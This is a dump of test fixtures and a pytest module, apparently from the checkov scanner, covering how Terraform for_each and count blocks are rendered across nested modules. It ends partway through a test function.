    "content": "resource \"aws_s3_bucket\" \"data_dict\" {\n  for_each = var.test_dict.bucket\n  subnet_id     = each.value\n  bucket = data.aws_s3_bucket.data_dict[each.key].bucket\n}\n\n\nresource \"aws_s3_bucket\" \"data_count\" {\n  count = var.test_count.bucket\n  bucket = data.aws_s3_bucket.data_count[count.index].bucket\n}\n\nresource \"aws_s3_bucket\" \"data\" {\n  subnet_id     = data.aws_s3_bucket.data.bucket\n}\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/data_with_resource/variables.tf",
    "content": "variable \"test_dict\" {\n  bucket = {\n    key1 = \"a\",\n    key2 = \"b\"\n  }\n}\n\nvariable \"test_count\" {\n  bucket = 2\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/doc_evaluations_verify_expected.json",
    "content": "{\n  \"{\\\"file_path\\\": \\\"main.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"resource\": [\n      {\n        \"aws_s3_bucket\": {\n          \"my_bucket\": {\n            \"region\": [\"us-west-2\"],\n            \"bucket\": [\"local.bucket_name\"],\n            \"acl\": [\"public-read\"],\n            \"force_destroy\": [true],\n            \"__start_line__\": 1,\n            \"__end_line__\": 6,\n            \"__address__\": \"aws_s3_bucket.my_bucket\"\n          }\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\"variables.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"variable\": [\n      {\n        \"bucket_name\": {\n          \"default\": [\n            \"MyBucket\"\n          ],\n          \"__start_line__\": 1,\n          \"__end_line__\": 3,\n          \"__address__\": \"bucket_name\"\n        }\n      },\n      {\n        \"acl\": {\n          \"default\": [\n            \"public-read\"\n          ],\n          \"__start_line__\": 5,\n          \"__end_line__\": 7,\n          \"__address__\": \"acl\"\n        }\n      },\n      {\n        \"region\": {\n          \"default\": [\"us-west-2\"],\n          \"__start_line__\": 9,\n          \"__end_line__\": 11,\n          \"__address__\": \"region\"\n        }\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/foreach_examples/count_dup_resources/main.tf",
    "content": "locals {\n  name_count = var.name_count\n}\n\nresource \"aws_s3_bucket\" \"count_var_resource\" {\n  count = local.name_count\n  name     = count.index\n  region = var.test\n}\n\nresource \"aws_s3_bucket\" \"var_resource\" {\n  name     = \"name\"\n  region = var.test\n}\n\nresource \"aws_s3_bucket\" \"static_resource\" {\n  name     = \"name\"\n  region = \"region\"\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/foreach_examples/count_dup_resources/variables.tf",
    "content": "variable \"name_count\" {\n  default = 3\n}\n\nvariable \"test\" {\n  default = \"test\"\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/foreach_examples/depend_resources/main.tf",
    "content": "resource \"aws_s3_bucket\" \"foreach_map\" {\n  for_each = var.foreach_map\n  name     = each.key\n  region   = each.value\n  location = var.test\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/foreach_examples/depend_resources/variable.tf",
    "content": "variable \"foreach_map\" {\n  default = {\n    bucket_a: \"us-west-2\",\n    bucket_b: \"us-east-2\"\n  }\n}\n\nvariable \"test\" {\n  default = \"test\"\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/foreach_examples/foreach_dup_resources/main.tf",
    "content": "resource \"aws_s3_bucket\" \"foreach_map\" {\n  for_each = var.foreach_map\n  name     = each.value\n  region   = each.key\n}\n\nresource \"aws_s3_bucket\" \"foreach_list\" {\n  for_each = toset(var.foreach_list)\n  name     = each.value\n  region   = each.key\n}\n\nresource \"aws_s3_bucket\" \"static_resource\" {\n  name     = \"name\"\n  region = \"region\"\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/foreach_examples/foreach_dup_resources/variables.tf",
    "content": "variable \"foreach_map\" {\n  default = {\n    bucket_a: \"us-west-2\",\n    bucket_b: \"us-east-2\"\n  }\n}\n\nvariable \"foreach_list\" {\n  default = [\"bucket_a\", \"bucket_b\"]\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/foreach_examples/foreach_lookup/main.tf",
    "content": "resource \"google_storage_bucket\" \"buckets_upper\" {\n  for_each = var.names\n\n  uniform_bucket_level_access = lookup(\n    var.bucket_policy_only,\n    upper(each.value),\n    true,\n  )\n}\n\nresource \"google_storage_bucket\" \"buckets_lower\" {\n  for_each = var.names\n\n  uniform_bucket_level_access = lookup(\n    var.bucket_policy_only,\n    lower(each.value),\n    true,\n  )\n}\n\nvariable \"bucket_policy_only\" {\n  description = \"Disable ad-hoc ACLs on specified buckets. Defaults to true. Map of lowercase unprefixed name => boolean\"\n  type        = map(bool)\n  default     = {}\n}\n\nvariable \"names\" {\n  description = \"Bucket name suffixes.\"\n  type        = list(string)\n  default = [\"a\"]\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/foreach_examples/foreach_tfvars/main.tf",
    "content": "variable \"project_id\" {\n  type = string\n}\n\nlocals {\n    roles = [\n        \"roles/run.developer\",\n    ]\n}\n\nresource \"google_project_iam_binding\" \"role\" {\n  for_each = toset(local.roles)\n  project = var.project_id\n  role    = each.key\n\n  members = [\n    \"user:captain.america@marvel.com\"\n  ]\n}\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/foreach_examples/foreach_tfvars/terraform.tfvars",
    "content": "project_id = \"avengers\"\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/foreach_examples/module_foreach_module_foreach_resource_foreach/level1_module/main.tf",
    "content": "module \"level2\" {\r\n  source   = \"../level2_module\"\r\n  for_each = var.file_map1_level1\r\n\r\n  file_map_level2 = var.file_map2_level1\r\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/foreach_examples/module_foreach_module_foreach_resource_foreach/level1_module/variables.tf",
    "content": "variable \"file_map1_level1\" {\r\n  type = map(string)\r\n}\r\n\r\nvariable \"file_map2_level1\" {\r\n  type = map(string)\r\n}\r\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/foreach_examples/module_foreach_module_foreach_resource_foreach/level2_module/main.tf",
    "content": "resource \"aws_s3_bucket_object\" \"this_file\" {\r\n  for_each = var.file_map_level2\r\n  bucket   = \"your_bucket_name\"\r\n  key      = each.key\r\n  source   = each.value\r\n}\r\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/foreach_examples/module_foreach_module_foreach_resource_foreach/level2_module/variables.tf",
    "content": "variable \"file_map_level2\" {\r\n  type = map(string)\r\n}\r\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/foreach_examples/module_foreach_module_foreach_resource_foreach/main.tf",
    "content": "locals {\r\n  groups = {\r\n    \"blue\"  = \"blue\"\r\n    \"green\" = \"green\"\r\n  }\r\n  files_map1 = {\r\n    \"test1.txt\" = \"test1.txt\"\r\n    \"test2.txt\" = \"test2.txt\"\r\n  }\r\n  files_map2 = {\r\n    \"test3.txt\" = \"test3.txt\"\r\n    \"test4.txt\" = \"test4.txt\"\r\n  }\r\n}\r\n\r\n# Expected resources:\r\n#    module.level1[\"blue\"].module.level2[\"test1.txt\"].aws_s3_bucket_object.this_file[\"test3.txt\"]\r\n#    module.level1[\"blue\"].module.level2[\"test1.txt\"].aws_s3_bucket_object.this_file[\"test4.txt\"]\r\n#    module.level1[\"blue\"].module.level2[\"test2.txt\"].aws_s3_bucket_object.this_file[\"test3.txt\"]\r\n#    module.level1[\"blue\"].module.level2[\"test2.txt\"].aws_s3_bucket_object.this_file[\"test4.txt\"]\r\n#    module.level1[\"green\"].module.level2[\"test1.txt\"].aws_s3_bucket_object.this_file[\"test3.txt\"]\r\n#    module.level1[\"green\"].module.level2[\"test1.txt\"].aws_s3_bucket_object.this_file[\"test4.txt\"]\r\n#    module.level1[\"green\"].module.level2[\"test2.txt\"].aws_s3_bucket_object.this_file[\"test3.txt\"]\r\n#    module.level1[\"green\"].module.level2[\"test2.txt\"].aws_s3_bucket_object.this_file[\"test4.txt\"]\r\n\r\nmodule \"level1\" {\r\n  source   = \"./level1_module\"\r\n  for_each = local.groups\r\n\r\n  file_map1_level1 = local.files_map1\r\n  file_map2_level1 = local.files_map2\r\n}\r\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/foreach_examples/nested_foreach_based_on_module_locals/main.tf",
    "content": "locals {\r\n  groups = {\r\n      \"blue\" = \"blue\"\r\n      \"green\" = \"green\"\r\n  }\r\n  files_map1 = {\r\n    \"test1\" = \"test1\"\r\n    \"test2\" = \"test2\"\r\n  }\r\n}\r\n\r\n# Expected resources:\r\n#    module.files[\"blue\"].aws_s3_bucket_object.this_file[\"test1.txt\"]\r\n#    module.files[\"blue\"].aws_s3_bucket_object.this_file[\"test2.txt\"]\r\n#    module.files[\"green\"].aws_s3_bucket_object.this_file[\"test1.txt\"]\r\n#    module.files[\"green\"].aws_s3_bucket_object.this_file[\"test2.txt\"]\r\n\r\nmodule \"files\" {\r\n  source   = \"./s3_files\"\r\n  for_each = local.groups\r\n  file_map = local.files_map1\r\n}\r\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/foreach_examples/nested_foreach_based_on_module_locals/s3_files/main.tf",
    "content": "resource \"aws_s3_bucket_object\" \"this_file\" {\r\n  for_each = var.file_map\r\n  bucket   = \"your_bucket_name\"\r\n  key      = each.key\r\n  source   = each.value\r\n}\r\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/foreach_examples/nested_foreach_based_on_module_locals/s3_files/variables.tf",
    "content": "variable \"file_map\" {\r\n  type = map(string)\r\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/foreach_module/main.tf",
    "content": "provider \"aws\" {\n  region  = \"us-west-2\"\n  alias = \"test_provider\"\n  test_provider = True\n}\n\nmodule \"s3_module\" {\n  source = \"./module\"\n  bucket = false\n  bucket2 = \"\"\n}\n\nmodule \"s3_module2\" {\n  source = \"./module\"\n  bucket = \"\"\n  bucket2 = true\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/foreach_module/module/main.tf",
    "content": "module \"inner_s3_module\" {\n  count = 2\n  source = \"./module2\"\n  bucket2 = var.bucket\n}\n\nmodule \"inner_s3_module2\" {\n  for_each = [\"a\", \"b\"]\n  source = \"./module2\"\n  bucket2 = var.bucket2\n}\n\n\nvariable \"bucket\" {\n  type = string\n}\n\nvariable \"bucket2\" {\n  type = string\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/foreach_module/module/module2/main.tf",
    "content": "locals {\n  bucket2 = var.bucket2\n}\n\nresource \"aws_s3_bucket_public_access_block\" \"var_bucket\" {\n  bucket                  = local.bucket2\n  block_public_acls       = true\n  block_public_policy     = true\n  ignore_public_acls      = true\n  restrict_public_buckets = true\n}\n\n\nvariable \"bucket2\" {\n  type = string\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/foreach_module_and_resource/main.tf",
    "content": "module \"s3_module\" {\n  for_each = [\"a\", \"b\"]\n  source = \"./module\"\n  bucket = false\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/foreach_module_and_resource/module/main.tf",
    "content": "locals {\n  bucket = var.bucket\n}\n\nresource \"aws_s3_bucket_public_access_block\" \"var_bucket\" {\n  for_each = [\"a\", \"b\"]\n  bucket                  = local.bucket\n  block_public_acls       = true\n  block_public_policy     = true\n  ignore_public_acls      = true\n  restrict_public_buckets = true\n}\n\n\nvariable \"bucket\" {\n  type = string\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf",
    "content": "provider \"aws\" {\n  region  = \"us-west-2\"\n  alias = \"test_provider\"\n  test_provider = True\n}\n\nmodule \"s3_module\" {\n  for_each = var.foreach_var\n  source = \"./module\"\n  bucket = false\n  bucket2 = \"\"\n}\n\nmodule \"s3_module2\" {\n  count = var.count_var\n  source = \"./module\"\n  bucket = \"\"\n  bucket2 = true\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf",
    "content": "module \"inner_s3_module\" {\n  for_each = [\"c\", \"d\"]\n  source = \"./module2\"\n  bucket2 = var.bucket\n}\n\nmodule \"inner_s3_module2\" {\n  for_each = [\"e\", \"f\"]\n  source = \"./module2\"\n  bucket2 = var.bucket2\n}\n\n\nvariable \"bucket\" {\n  type = string\n}\n\nvariable \"bucket2\" {\n  type = string\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf",
    "content": "locals {\n  bucket2 = var.bucket2\n}\n\nresource \"aws_s3_bucket_public_access_block\" \"var_bucket\" {\n  bucket                  = local.bucket2\n  block_public_acls       = true\n  block_public_policy     = true\n  ignore_public_acls      = true\n  restrict_public_buckets = true\n}\n\n\nvariable \"bucket2\" {\n  type = string\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/variable.tf",
    "content": "\nvariable \"count_var\" {\n  default = 2\n}\n\nvariable \"foreach_var\" {\n  default = [\"a\", \"b\"]\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/foreach_module_with_more_than_two_resources/main.tf",
    "content": "provider \"aws\" {\n  region  = \"us-west-2\"\n  alias = \"test_provider\"\n  test_provider = True\n}\n\nmodule \"s3_module\" {\n  source = \"./module\"\n  bucket = false\n  bucket2 = \"\"\n}\n\nmodule \"s3_module2\" {\n  source = \"./module\"\n  bucket = \"\"\n  bucket2 = true\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/foreach_module_with_more_than_two_resources/module/main.tf",
    "content": "module \"inner_s3_module\" {\n  count = 4\n  source = \"./module2\"\n  bucket2 = var.bucket\n}\n\nmodule \"inner_s3_module2\" {\n  for_each = [\"a\", \"b\", \"c\"]\n  source = \"./module2\"\n  bucket2 = var.bucket2\n}\n\n\nvariable \"bucket\" {\n  type = string\n}\n\nvariable \"bucket2\" {\n  type = string\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/foreach_module_with_more_than_two_resources/module/module2/main.tf",
    "content": "locals {\n  bucket2 = var.bucket2\n}\n\nresource \"aws_s3_bucket_public_access_block\" \"var_bucket\" {\n  bucket                  = local.bucket2\n  block_public_acls       = true\n  block_public_policy     = true\n  ignore_public_acls      = true\n  restrict_public_buckets = true\n}\n\n\nvariable \"bucket2\" {\n  type = string\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/foreach_resources/dynamic_foreach_value/main.tf",
    "content": "locals {\n  name_map = var.names_map\n  name_list = var.names_list\n  count = var.number\n  count_list = var.names_list\n}\n\nresource \"aws_s3_bucket\" \"bucket_rendered\" {\n  for_each = local.name_map\n  name     = each.key\n  location = each.value\n  region = var.test\n}\n\nresource \"aws_s3_bucket\" \"bucket_map_rendered\" {\n  for_each = local.name_list\n  bucket   = each.value\n}\n\nresource \"aws_s3_bucket\" \"count_rendered\" {\n  count  = local.count\n  bucket = count.index\n}\n\nresource \"aws_s3_bucket\" \"count_rendered_length\" {\n  count = length(local.count_list)\n  bucket   = count.index\n}\n\nresource \"aws_s3_bucket\" \"not_foreach\" {\n  for_each = local.wrong\n}\n\nresource \"aws_s3_bucket\" \"not_foreach\" {\n  region = var.test\n}\n\nresource \"aws_s3_bucket\" \"not_foreach\" {\n  region = local.count_list\n}\n\nresource \"aws_s3_bucket\" \"not_foreach\" {\n  region = local.count_list\n}\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/foreach_resources/dynamic_foreach_value/variable.tf",
    "content": "variable \"names_list\" {\n  default = [\"s3-bucket-a\", \"s3-bucket-b\"]\n}\n\nvariable \"names_map\" {\n  default = {\n    a_group       = \"eastus\"\n    another_group = \"westus2\"\n  }\n}\n\nvariable \"number\" {\n  default = 5\n}\n\nvariable \"number_list\" {\n  default = [\"a\", \"b\", \"c\"]\n}\n\n\nvariable \"test\" {\n  default = \"test\"\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/foreach_resources/static_foreach_value/main.tf",
    "content": "resource \"aws_s3_bucket\" \"bucket_static_set\" {\n  for_each = toset([\"bucket_a\", \"bucket_b\"])\n  bucket   = each.value\n}\n\nresource \"aws_s3_bucket\" \"bucket_static_map\" {\n  for_each = {\"key1\": var.a, \"key2\": var.b}\n  bucket   = each.value\n}\n\nresource \"aws_s3_bucket\" \"bucket_rendered\" {\n  for_each = var.a\n  bucket   = each.value\n}\n\nresource \"aws_s3_bucket\" \"bucket_map_rendered\" {\n  for_each = {var.a: var.a, \"key2\": var.b}\n  bucket   = each.value\n}\n\nresource \"aws_s3_bucket\" \"count_static\" {\n  count  = 5\n  bucket = count.index\n}\n\nresource \"aws_s3_bucket\" \"count_rendered\" {\n  count = var.a\n  bucket   = count.index\n}\n\nresource \"aws_s3_bucket\" \"count_rendered_length\" {\n  count = length(var.files)\n  bucket   = count.index\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/merge_function_unresolved_var_expected.json",
    "content": "{\n  \"{\\\"file_path\\\": \\\"main.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"locals\": [\n      {\n        \"common_tags\": [\n          {\n            \"Tag1\": \"one\",\n            \"Tag2\": \"two\"\n          }\n        ]\n      }\n    ],\n    \"variable\": [\n      {\n        \"ENV\": {\n          \"__start_line__\": 8,\n          \"__end_line__\": 8,\n          \"__address__\": \"ENV\"\n        }\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_s3_bucket\": {\n          \"bucket\": {\n            \"tags\": [\n              {\n                \"Tag1\": \"one\",\n                \"Tag2\": \"two\",\n                \"Name\": \"my-bucket-var.ENV\"\n              }\n            ],\n            \"__start_line__\": 10,\n            \"__end_line__\": 14,\n            \"__address__\": \"aws_s3_bucket.bucket\"\n          }\n        }\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/os_example_large_count_with_nested_module/child/main.tf",
    "content": "## child/main.tf\nvariable \"child-name\" {\n  type = string\n}\nresource \"terraform_data\" \"child-example\" {\n  input = \"1\"\n}\noutput \"child-result\" {\n  value = terraform_data.child-example.output\n}\n\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/os_example_large_count_with_nested_module/modules.tf",
    "content": "# modules.tf\nmodule \"modules\" {\n  count = 12\n  source = \"./parent\"\n  parent   = count.index\n}\noutput \"modules-result\" {\n  value = { for k, v in module.modules-parent : k => v }\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/os_example_large_count_with_nested_module/parent/main.tf",
    "content": "# parent/main.tf\nvariable \"parent\" {\n  type = string\n}\nmodule \"parent\" {\n  source = \"../child\"\n  child-name   = \"1\"\n}\n\noutput \"parent-result\" {\n  value = module.parent.child-result\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/parser_dup_nested/main.tf",
    "content": "provider \"aws\" {\n  region  = \"us-west-2\"\n  alias = \"test_provider\"\n  test_provider = True\n}\n\nmodule \"s3_module\" {\n  for_each = var.foreach_var\n  source = \"./module\"\n  bucket = false\n  bucket2 = \"\"\n}\n\nmodule \"s3_module2\" {\n  count = var.count_var\n  source = \"./module\"\n  bucket = \"\"\n  bucket2 = true\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/main.tf",
    "content": "module \"inner_s3_module\" {\n  source = \"./module2\"\n  bucket2 = var.bucket\n}\n\nmodule \"inner_s3_module2\" {\n  source = \"./module2\"\n  bucket2 = var.bucket2\n}\n\n\nvariable \"bucket\" {\n  type = string\n}\n\nvariable \"bucket2\" {\n  type = string\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/parser_dup_nested/module/module2/main.tf",
    "content": "locals {\n  bucket2 = var.bucket2\n}\n\nresource \"aws_s3_bucket_public_access_block\" \"var_bucket\" {\n  bucket                  = local.bucket2\n  block_public_acls       = true\n  block_public_policy     = true\n  ignore_public_acls      = true\n  restrict_public_buckets = true\n}\n\n\nvariable \"bucket2\" {\n  type = string\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/resources/parser_dup_nested/variable.tf",
    "content": "\nvariable \"count_var\" {\n  default = 2\n}\n\nvariable \"foreach_var\" {\n  default = [\"a\", \"b\"]\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/test_foreach_renderer.py",
    "content": "import json\nimport os\nfrom unittest import mock\n\nimport pytest\n\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.util.env_vars_config import env_vars_config\nfrom checkov.common.util.json_utils import object_hook, CustomJSONEncoder\nfrom checkov.terraform import TFModule\nfrom checkov.terraform.graph_builder.foreach.abstract_handler import ForeachAbstractHandler\nfrom checkov.terraform.graph_builder.foreach.builder import ForeachBuilder\nfrom checkov.terraform.graph_builder.foreach.module_handler import ForeachModuleHandler\nfrom checkov.terraform.graph_builder.foreach.resource_handler import ForeachResourceHandler\nfrom checkov.terraform.graph_builder.graph_to_tf_definitions import convert_graph_vertices_to_tf_definitions\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\ndef load_expected_data(path):\n    dir_name = os.path.realpath(os.path.join(TEST_DIRNAME, path))\n    with open(dir_name, \"r\") as f:\n        return json.load(f)\n\n\ndef assert_object_equal(res, expected_res):\n    assert len(res) == len(expected_res)\n    if isinstance(res, dict):\n        assert dict(sorted(res.items(), key=lambda item: item[0])) == dict(sorted(expected_res.items(), key=lambda item: item[0]))\n    if isinstance(res, list):\n        assert res.sort() == expected_res.sort()\n\n\ndef build_and_get_graph_by_path(path, render_var=False):\n    from checkov.terraform.graph_manager import TerraformGraphManager\n    resources_dir = os.path.realpath(os.path.join(TEST_DIRNAME, 'resources', path))\n    graph_manager = TerraformGraphManager('m', ['m'])\n    local_graph, tf_definitions = graph_manager.build_graph_from_source_directory(resources_dir, render_variables=render_var)\n    return local_graph, tf_definitions\n\n\n@pytest.fixture()\ndef checkov_source_path() -> str:\n    return os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(__file__)))))\n\n\n@pytest.mark.parametrize(\n    \"block_index,expected_res,obj\",\n    [\n        (0, ['bucket_a', 'bucket_b'], True),\n        (1, {'key1': '${var.a}', 'key2': '${var.b}'}, True),\n        (2, None, False),\n        (3, None, False),\n        (4, 5, False),\n        (5, None, False),\n        (6, None, False)\n    ]\n)\n@mock.patch.dict(os.environ, {\"CHECKOV_ENABLE_FOREACH_HANDLING\": \"False\"})\ndef test_static_foreach_resource(block_index, expected_res, obj):\n    dir_name = 'foreach_resources/static_foreach_value'\n    local_graph = build_and_get_graph_by_path(dir_name)[0]\n    foreach_handler = ForeachResourceHandler(local_graph)\n    res = foreach_handler._get_static_foreach_statement(block_index)\n    if obj:\n        assert_object_equal(res, expected_res)\n    else:\n        assert res == expected_res\n\n\n@mock.patch.dict(os.environ, {\"CHECKOV_ENABLE_FOREACH_HANDLING\": \"False\"})\ndef test_dynamic_foreach_resource():\n    dir_name = 'foreach_resources/dynamic_foreach_value'\n    local_graph = build_and_get_graph_by_path(dir_name)[0]\n    foreach_handler = ForeachResourceHandler(local_graph)\n    res = foreach_handler._handle_dynamic_statement([4, 5, 6, 7, 8])\n    expected_res = {\n        4: {'a_group': 'eastus', 'another_group': 'westus2'}, 5: ['s3-bucket-a', 's3-bucket-b'], 6: 5, 7: 2, 8: None\n    }\n    assert_object_equal(res, expected_res)\n\n\n@mock.patch.dict(os.environ, {\"CHECKOV_ENABLE_FOREACH_HANDLING\": \"False\"})\ndef test_foreach_resource():\n    dir_name = 'foreach_resources'\n    local_graph = build_and_get_graph_by_path(dir_name)[0]\n    foreach_handler = ForeachResourceHandler(local_graph)\n    res = foreach_handler._get_statements([6, 7, 8, 9, 10, 19, 20, 21, 22, 23, 24, 25])\n    expected_res = {\n        4: {'a_group': 'eastus', 'another_group': 'westus2'},\n        5: ['s3-bucket-a', 's3-bucket-b'],\n        6: 5,\n        7: 2,\n        8: None,\n        17: ['bucket_a', 'bucket_b'],\n        18: {'key1': '${var.a}', 'key2': '${var.b}'},\n        19: None,\n        20: None,\n        21: 5,\n        22: None,\n        23: None\n    }\n    for key, _ in expected_res.items():\n        if isinstance(expected_res[key], (list, dict)):\n            assert_object_equal(res[key], expected_res[key])\n        else:\n            assert res[key] == expected_res[key]\n\n\n@mock.patch.dict(os.environ, {\"CHECKOV_ENABLE_FOREACH_HANDLING\": \"False\"})\ndef test_build_sub_graph():\n    dir_name = 'foreach_resources'\n    local_graph = build_and_get_graph_by_path(dir_name)[0]\n    foreach_handler = ForeachAbstractHandler(local_graph)\n    blocks = [6, 7, 8, 9, 10, 21, 22]\n    sub_graph = foreach_handler._build_sub_graph(blocks)\n    assert all(sub_graph.vertices[i] for i in blocks)\n    assert not all(sub_graph.vertices[i] for i in range(len(sub_graph.vertices)))\n    assert len(sub_graph.edges) < len(local_graph.edges)\n\n\ndef test_new_resources_count():\n    dir_name = 'foreach_examples/count_dup_resources'\n    local_graph = build_and_get_graph_by_path(dir_name)[0]\n    main_count_resource = 'aws_s3_bucket.count_var_resource'\n\n    foreach_builder = ForeachBuilder(local_graph)\n    foreach_builder._module_handler.local_graph.enable_foreach_handling = True\n    foreach_builder.handle({'resource': [3], 'module': []})\n    for i, resource in enumerate([local_graph.vertices[1], local_graph.vertices[6], local_graph.vertices[7]]):\n        assert resource.name.endswith(f\"[{i}]\")\n        assert resource.id.endswith(f\"[{i}]\")\n        assert list(resource.config['aws_s3_bucket'].keys())[0].endswith(f'[{i}]')\n    new_vertices_names = [vertice.name for vertice in local_graph.vertices]\n    assert main_count_resource not in new_vertices_names\n\n\ndef test_new_resources_foreach():\n    dir_name = 'foreach_examples/foreach_dup_resources'\n    local_graph = build_and_get_graph_by_path(dir_name)[0]\n    foreach_builder = ForeachBuilder(local_graph)\n    foreach_builder._module_handler.local_graph.enable_foreach_handling = True\n    foreach_builder.handle({'resource': [0, 1], 'module': []})\n    for resource in [local_graph.vertices[0], local_graph.vertices[1], local_graph.vertices[5], local_graph.vertices[6]]:\n        assert resource.name.endswith(\"[\\\"bucket_a\\\"]\") or resource.name.endswith(\"[\\\"bucket_b\\\"]\")\n        assert resource.id.endswith(\"[\\\"bucket_a\\\"]\") or resource.id.endswith(\"[\\\"bucket_b\\\"]\")\n        config_name = list(resource.config['aws_s3_bucket'].keys())[0]\n        assert config_name.endswith(\"[\\\"bucket_a\\\"]\") or config_name.endswith(\"[\\\"bucket_b\\\"]\")\n\n\ndef test_resources_flow():\n    dir_name = 'foreach_examples/depend_resources'\n    local_graph, _ = build_and_get_graph_by_path(dir_name, render_var=True)\n    assert local_graph.vertices_by_block_type['variable'] == [1, 2]\n    assert local_graph.vertices_by_block_type['resource'] == [0, 3]\n\n    assert local_graph.vertices_block_name_map['variable'] == {'foreach_map': [1], 'test': [2]}\n    assert local_graph.vertices_block_name_map['resource'] == {'aws_s3_bucket.foreach_map[\\\"bucket_a\\\"]': [0], 'aws_s3_bucket.foreach_map[\\\"bucket_b\\\"]': [3]}\n\n    assert local_graph.edges[0].dest == 2\n    assert local_graph.edges[0].origin == 0\n    assert local_graph.edges[0].label == 'location'\n\n    assert local_graph.edges[1].dest == 2\n    assert local_graph.edges[1].origin == 3\n    assert local_graph.edges[1].label == 'location'\n\n    assert len(local_graph.vertices) == 4\n    resources = [ver for ver in local_graph.vertices if ver.block_type == 'resource']\n    assert len(resources) == 2\n\n    resource_a_name = 'aws_s3_bucket.foreach_map[\\\"bucket_a\\\"]'\n    assert resources[0].name == resource_a_name\n    assert resources[0].id == resource_a_name\n    assert resources[0].attributes.get('__address__') == resource_a_name\n    assert resources[0].config.get('aws_s3_bucket').get('foreach_map[\\\"bucket_a\\\"]').get('__address__') == resource_a_name\n    assert resources[0].attributes.get('location') == [\"test\"]\n    assert resources[0].attributes.get('name') == [\"bucket_a\"]\n    assert resources[0].attributes.get('region') == [\"us-west-2\"]\n    assert list(resources[0].config.get('aws_s3_bucket').keys())[0] == 'foreach_map[\\\"bucket_a\\\"]'\n\n\n@mock.patch.dict(os.environ, {\"CHECKOV_NEW_TF_PARSER\": \"False\"})\ndef test_tf_definitions_and_breadcrumbs():\n    from checkov.terraform.graph_builder.graph_to_tf_definitions import convert_graph_vertices_to_tf_definitions\n    dir_name = 'foreach_examples/depend_resources'\n    local_graph, _ = build_and_get_graph_by_path(dir_name, render_var=True)\n    tf_definitions, breadcrumbs = convert_graph_vertices_to_tf_definitions(local_graph.vertices, dir_name)\n    expected_data = load_expected_data('expected_data_foreach.json')\n    tf_definitions_to_check = {}\n    for path, res in tf_definitions.items():\n        path_list = path.file_path.split('/')[-2:]\n        real_path = os.path.join(path_list[0], path_list[1])\n        tf_definitions_to_check[real_path] = tf_definitions[path]\n    assert_object_equal(tf_definitions_to_check, expected_data['tf_definitions'])\n\n    expected_breadcrumbs = expected_data['breadcrumbs']\n    assert len(breadcrumbs) == len(expected_breadcrumbs)\n    assert len(breadcrumbs[list(breadcrumbs.keys())[0]]) == len(expected_breadcrumbs[list(expected_breadcrumbs.keys())[0]])\n    resource_vertices = [vertex for vertex in local_graph.vertices if vertex.block_type == 'resource']\n    for resource_vertex in resource_vertices:\n        assert len(resource_vertex.foreach_attrs) == 2\n\n    for name in ['[\"bucket_a\"]', '[\"bucket_b\"]']:\n        assert f'aws_s3_bucket.foreach_map{name}' in breadcrumbs[list(breadcrumbs.keys())[0]]\n\n        location_var = 'location'\n        assert list(breadcrumbs[list(breadcrumbs.keys())[0]][f'aws_s3_bucket.foreach_map{name}'].keys()) == [location_var]\n        assert list(expected_breadcrumbs[list(expected_breadcrumbs.keys())[0]][f'aws_s3_bucket.foreach_map{name}'].keys()) == [location_var]\n\n        